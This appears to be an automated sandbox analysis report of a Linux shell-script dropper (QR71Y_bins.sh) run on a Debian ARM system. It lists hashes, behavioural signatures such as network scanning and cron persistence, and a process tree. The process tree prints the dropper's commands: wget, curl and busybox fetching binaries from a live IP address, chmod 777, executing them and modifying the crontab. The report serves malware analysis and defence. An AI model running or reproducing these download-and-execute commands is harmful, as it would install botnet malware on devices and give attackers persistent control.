Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23-11-2024 19:50

General

  • Target

    QR71Y_bins.sh

  • Size

    10KB

  • MD5

    1af48b59e54a461d801c58a2e6f2853e

  • SHA1

    d8ce0cc7e067bbcc17e7f02651135515cac789e0

  • SHA256

    8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

  • SHA512

    984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab

  • SSDEEP

    96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1998) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/QR71Y_bins.sh
    /tmp/QR71Y_bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:696
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:709
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:767
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:774
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:775
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:776
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:777
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:778
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:780
              • /usr/bin/wget
                wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:781
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:785
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:787
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:788
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:789
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:790
                    • /bin/rm
                      rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                      2⤵
                        PID:792
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                        2⤵
                          PID:795

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /var/spool/cron/crontabs/tmp.boIg2a

                        Filesize

                        210B

                        MD5

                        f70f8b9907a553de4db416cacb7c256e

                        SHA1

                        107b0bb8387319cfb131cdcc744aa9871e81ea4f

                        SHA256

                        73cab78a9c27847b7ef2e9e1331cb70e17e089d8ec0b6952d13c7e22774e5d74

                        SHA512

                        9984732c3630bbcde1756b7ec77652576474269a74c677ede4b2f138be76fabc89dc037951763e5484521618032f4d082fde77065183cc84b79af13158c053f0